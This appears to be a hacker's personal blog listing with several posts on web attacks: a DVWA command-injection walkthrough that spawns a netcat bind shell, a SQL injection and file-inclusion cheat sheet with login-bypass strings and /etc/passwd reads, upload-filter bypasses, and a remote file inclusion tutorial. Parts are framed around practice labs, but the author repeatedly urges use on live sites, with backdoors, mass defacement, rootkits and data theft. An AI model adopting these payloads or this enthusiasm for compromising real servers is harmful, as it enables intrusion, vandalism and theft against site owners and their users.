Showing posts with label remote code exection. Show all posts
Showing posts with label remote code exection. Show all posts

Thursday 2 February 2012

Command Execution Vulnerability - Damn Vulnerable Web App Part 2

We had earlier worked out the bruteforce vulnerability in dvwa in part 1 of the series of articles on dvwa. Today, in this second part, we will be exploiting the command execution vulnerability within dvwa.

A bit about command execution: Command execution vulnerability is common in PHP-based and other web applications in which malicious attacker can inject the system level commands or codes that will get executed by the call to the system functions. This happens due to the lack of proper sanitization of the user input. Once again it proves the fact that Never trust user data. In our example, we will see direct command execution in the web server caused due to lack of input sanitization before calling the potentially unsafe function.

1) Lets login with our login information and click on the "Command Execution" item in the left navigation menu.

2) A HTML form with "Ping for free" will be available for you. So the input box wants IP address as the input and probably makes use of some system function such as shell_exec() or exec() or maybe system() to ping to the given IP address. First lets test if ping really works or not by typing "127.0.01" in the input textbox. Well we get the ping response and hence we come to know that some kind of system level function is being used to execute the ping command.

3) We have concluded that some PHP in-built function is being used to execute the ping command in the server so use of such functions opens the possibility of injection of our own commands if the input we give is not being filtered. In our case, IP address is the possible input we can play with to find the possible vulnerability. Lets try to tamper the input so I will give ";ls -lia" (without quotes) as the input and we will check the output to know if our supplied command(ls -lia) gets executed or not. As the screenshot suggests, our command was successfully injected and we were able to see the output of "ls -lia" command.

4) The injected command in the previous step gave us the directory listing but we are hackers and we would like to get some shell access to the system so lets make use of the netcat to get simple shell to the system. Now lets inject the command ";mkfifo /tmp/pipe;sh /tmp/pipe | nc -l 13371 > /tmp/pipe" (without quotes) which will create a FIFO(named pipe) in the filesystem so that two processes can access the same pipe(Interprocess communication becomes possible).

5) Now lets see if we got the shell or not by trying to connect to the web server. Now lets fire up the terminal and type the "nc 13371" (without quotes) command. If everything has gone well, we should get the shell access and bingo!!! we got the shell access.

6)Now you can do whatever you want to do in the webserver. You could install backdoors for further access if you find such vulnerability in the live servers. Actually possibilities are unlimited, its up to your imagination and creativity once you get shell on the remote server.

Now lets check the source code of the vulnerable file:


if( isset( $_POST[ 'submit' ] ) ) {

    $target = $_REQUEST[ 'ip' ];

    // Determine OS and execute the ping command.
    if (stristr(php_uname('s'), 'Windows NT')) { 
        $cmd = shell_exec( 'ping  ' . $target );
        echo '<pre>'.$cmd.'</pre>';
    } else { 
        $cmd = shell_exec( 'ping  -c 3 ' . $target );
        echo '<pre>'.$cmd.'</pre>';

As we can see, shell_exec() function is taking the $target variable as the input which actually is supplied by user as the $_REQUEST['ip'] and there isn't any kind of validation of the $target variable. We were hence able to exploit the application through this variable. Next time when you are auditing source code, be sure to check arguments passed to such functions and you might be able to spot remote command execution in many PHP scripts.

I hope this little guide works as a walkthrough for learning basics of web hacking with DVWA. Next part will be up soon.

Part 1 - Bruteforce Vulnerability


Tuesday 10 May 2011

Learn Web Hacking With WackoPicko

WackoPicko is a website that contains known vulnerabilities. It can prove as a very efficient way to master web hacking skills. This project is similar to Damn Vulnerable Web Application and is a collection of common web vulnerabilities.

For more information and downloads, you can check the WackoPicko github page.


Reflected XSS
The query parameter is vulnerable.

Stored XSS
The comment field is vulnerable.

SessionID vulnerability
The session cookie value is admin_session, which is an auto-incrementing value.

Stored SQL Injection
http://localhost/users/register.php -> http://localhost/users/similar.php
The first name field of the register users form contains a stored SQL injection which is then used unsanitized on the similar users page.

Reflected SQL Injection
The username field is vulnerable.

Directory Traversal
The tag field has a directory traversal vulnerability enabling a malicious users to overwrite any file the web server uses has access to.

Multi-Step Stored XSS
The comment field is vulnerable to XSS, however must go through a preview form.

Forceful Browsing
The user doesn't have to purchase the picture to see the high quality version.

Command-line Injection
The password field is vulnerable to a command line injections.

File Inclusion
The page is vulnerable to a file inclusion vulnerability, however you have to include at the end.

Parameter Manipulation
The userid parameter can be manipulated to see any user's page when you need to be logged in otherwise.

Reflected XSS Behind JavaScript
The name parameter is vulnerable.

Logic Flaw
A coupon can be applied multiple times reducing the price of an order to zero. The coupon in the initial data is SUPERYOU21.

Reflected XSS Behind a Flash Form
The value parameter is vulnerable.

Weak username/password
There is a default username/password combination of admin/admin.


Thursday 21 April 2011

Practise, Learn and Master Web Application Hacking With DVWA

DVWA, which stands for Damn Vulnerable Web Application, is a PHP/MySQL web application that is damn vulnerable. Its main goals are to be an aid for security professionals to test their skills and tools in a legal environment, help web developers better understand the processes of securing web applications and aid teachers/students to teach/learn web application security in a class room environment.

The DVWA v. 1.07 can be downloaded from HERE.

You will need to install Apache+PHP+MySQL environment(use LAMPP or XAMPP packages) to run and test this web application. This will definitely help you learn to spot web vulnerabilities of the varied levels. I hope this was useful. :)


Thursday 14 April 2011

Web Application Attacking and Auditing with W3af Framework.

w3af is a Web Application Attack and Audit Framework. The project's goal is to create a framework to find and exploit web application vulnerabilities that is easy to use and extend.

W3af is the tool written totally in Python and supports many techniques for detecting and exploiting the web based vulnerabilities.
Framework features

w3af provides plugin writers with this features:
urllib2 wrapper
In order to send requests to the remote server w3af uses urllib2. The xUrllib module of w3af is a wrapper of urllib2 to make the plugin writer life easier, using this wrapper a plugin writer can forget about proxy's, proxy auth, basic/digest auth, etc. This is the complete list of features provided by xUrllib:

- Proxy
- Proxy auth ( basic and digest )
- Site auth ( basic and digest )
- Gracefully handle timeouts
- UserAgent faking
- Add custom headers to requests
- Cookie handling
- Local cache for GET and HEAD requests
- Local dns cache, this will speed up scannings. Only one request is made to the DNS server
- Keep-alive support fot http and https connections
- File upload using multipart POST requests
- SSL certificate support

Output Management
w3af provides plugin writers with an abstraction layer for data output using the Output Manager. The output manager can also be extended using plugins and can be used for writing results to a txt/html file or sending them over the network using scp, the options are endless. Available ouput plugins are:
- Console
- Text file

Web Service support
w3af knows how to parse WSDL files, and audit webservices. Plugin developers can write a simple plugin that will be able to find bugs in web services and also in common HTTP applications.

HTTP headers fuzzing
w3af supports finding bugs in HTTP headers with great ease!

IPC ( inter plugin communication :P) can easily be done using the knowledge base, another w3af feature thats really usefull for plugin developers.

Session saving
Framework parameters can be saved to a file using the sessionManager. After that, you can load the settings and start the same scan again without configuring all parameters.

Right now w3af has a really simple fuzzer, but we have plans to extend it. Fuzzers are great, we know it.

HTML / WML parsing
w3af provides HTML / WML parsing features that are really easy to use.

To install w3af under your ubuntu, type the following in the terminal.

sudo apt-get install w3af

Visit w3af homepage


Sunday 26 December 2010

Web Hacking for Beginners and Intermediates

This is the article I posted on the secworm contest and I am now posting this in my blog. Its not that well written due to the lack of time but still will help some of you out there.

Hi all, I am Deadly Ghos7 aka sam207 and this is my article as the entry for the secworm contest #1. First, I would like to apologize for any kind of grammar mistakes in this article as there would be surely lots of grammatical errors in this article.

This article is not an article about teaching the basics of any web hacking techniques. Instead, it is the document of tips and tricks that the beginners and intermediates can make use of in order to attack the web applications on certain scenarios. I assume that you know the basics of the web hacking techniques or you could google for learning the basics. I'll be covering the tricks on different web hacking methods such as SQL injection(MySQL basically), insecure file inclusions, insecure file upload, etc. As already stated, the article won't be about basic but rather would present you few useful tricks that might be useful in the course of web-app pentesting.

SQL Injection:
Comments: - - , /* , #
MySQL version: SELECT @@version

Current SQL User: SELECT user()
SELECT system_user()

Current Database: SELECT database()

MySQL Data directory(location of MySQL data files): SELECT @@datadir

List all MySQL users: SELECT host, user, password FROM mysql.user

Bypass Quotes: SELECT pass FROM users WHERE user=0x2773616d32303727 --hex
SELECT pass FROM users WHERE user=char

Load local file: SELECT LOAD_FILE('/etc/passwd') --We can use quote bypassing here.

Create File with SQLi: SELECT * FROM table INTO dumpfile '/tmp/dump'
SELECT password FROM user INTO OUTFILE '/home/samar/www/dump.txt'
quote bypassing seems not working here. The path can't be encoded using the quote or char so we can't bypass the quote in this case.

Using limit: union all select null,table_name,null from information_schema.tables LIMIT 20,1
(useful when only one column is seen while doing SQLi)

unhex(hex()): union all select 1,concat(unhex(hex(username,0x3a,password))) from tblusers--

Bypassing filters:
uNiOn aLl SeLeCT 1,2 FrOm tbluser
/*!union*/ all select 1,2 from tbluser
union(select(null),table_name(from)(information_schema.tables)) --Bypassing the whitespace filter

XSS with SQLi (SIXSS): union all select 1,<script>alert(123)</script>

Login bypass:
'=' in both username and password field
' or 1='1'--
' or 1='1'/*
' or 1='1'#
' or 1='1';
In the username field and random password, it would bypass the vulnerable authentication login.

' /*or*/ 1='1 –Bypasses or filter

File Inclusion:
-> A sample vulnerable piece of code would be something like below: test.php

including file in the same directory

path traversal to include files in other directories

Nullbyte injection

Directory listing with nullbyte injection only for FreeBSD (afaik) and magic quotes off

PHP stream/wrappers inclusion

Path Truncation inclusion
test.php?page=../../../../../../etc/passwd.\.\.\.\.\.\.\.\.\.\.\ …
With more details on this,
Apache Log injection
You'll have to find the location of the log in order to include it. Also you should try including everything you can such as the session files, uploaded files, etc. For the apache log injection, you'll have to telnet and send the GET request for arbitrary PHP code like Get / Few apache log locations to try are as below:

Set your useragent to some php code and it will get executed if you are able to include the /proc/self/environ file.

Check existence of folder:
Here the trick is basically using the path traversal method.

File upload:
Nullbyte injection: If only valid extensions(such as jpg, gif) are allowed, we can rename our shell to shell.php.jpg which will bypass the file upload security check.

PHP code within image: Sometimes the uploads are not checked for the file extension but for dimensions of images. This again can be bypassed by injecting PHP codes in the valid images and renaming them to .php file. The tool named edjpgcom can be used in order to inject the PHP code as JPEG comments in the images.

Header bypass: Again sometimes the developer just relies on the header information that contains the type of the file like “image/jpeg” for jpeg image. But since this is passed from client side, it can be modified using the tools such as tamper data or live http headers.

Also, the file upload feature can be exploited in union with the file inclusion vulnerability. If you have a site vulnerable to the file inclusion but not vulnerable to the insecure file upload, you can upload valid image as said in second method here and then you can include that file with the file inclusion vulnerable PHP script.

As said earlier, this article is not about giving you every steps of how to exploit the web vulnerabilities.


Monday 27 September 2010

Edjpgcom - add comments inside a jpg image

We can sometimes exploit the image upload features and then use file inclusion vulnerabilities to get shell in a server. If the image upload form only allows the .jpg and other valid image files and you locate a local file inclusion vulnerability, you can upload the malicious jpg file containing the PHP code as the commment in it.

In order to add the comment easily inside the jpg images, we can use a small tool called edjpgcom, a jpg commenter. You can drag a jpg image to the edjpgcom icon which will open a window to add comment to the jpg image.



Saturday 18 September 2010

Bypassing safe mode[Hack Windows Box]

Another old time video from me, this video demonstrates the exploitation of the windows server by the use of the shell. This video demonstrates few useful things you can do on the server you get access to.

In the video, I have demonstrated the exploiting of the windows by adding the user account using the shell in the server.

Download Video From HERE

Happy Hacking :)


Sunday 29 August 2010

Basic on Remote File Inclusion[RFI]

This time, I am going to give you information about the remote file inclusion vulnerability in the webpages which can be compromised to root and mass the server.
First, let me say what remote file inclusion(RFI) is... File inclusion vulnerability is the result of poor & insecure programming practice which allows us to include the files in the website's php scripts. Now, whenever I say remote file inclusion, the file that is going to be included is from different server. Simple, you would include some evil file with malicious code from another server in the victim site you are hacking. Such evil file is called shell and should be in .txt format so as to get executed in the victim site. There are numerous shells available on the internet. Google for r57 or c99 shell and you should get the shells. Now you need to upload these shells to the server(free hosting providers) with .txt extension.

Let me suppose, I am browsing a site & notice in the URL(in address bar) that one of the GET arguments is index.php?page=home.php. I click on the link & it changes to index.php?page=game.php


Let me show you the code for index.php that makes it vulnerable to RFI.


So, the code sets $mypage to $_GET['page'] & whenever we go to, game.php file is included by include() function i.e. the content of blog.php is pasted into index.php
But this allows malicious attacker to include remote files also. I mean, if you put:

 you will see the content of your site on the site.

Now you got the idea of remote file inclusion, its time to exploit it. So we use evil scripts called shells which provide us the interface of viewing, deleting & editing files, getting server info & much more.

Say, I've uploaded my shell in free hosting provider & the URL(location) of my shell is, I would do:

Now, with this I get shell on the server & can do anything from deleting files to stealing the informations from there.
But sometimes, programmers write codes like below:


So if we have index.php?page=game, the game.php file is getting included. So this seems to include only php files & our .txt shell file won't get included instead it would include .txt.php making us fail. But, if we add "?" this gets bypassed & we can still gain shell. Similarly, if ? doesn't work, you can injection nullbyte() in place of ? that denotes end of the string.


After getting shell, we may delete files, do mass defacements, gain root access using root exploits, keep backdoors, install r00tkits,etc. & etc. Seems elite but you can learn all these things.
Now, something about avoiding RFI... If you are a web programmer, the you should know the switch-case-default statement. Use it for the navigation to the pages instead of above shown scripts. Switch is simple yet the best solution.
Learn it, hack it & enjoy it...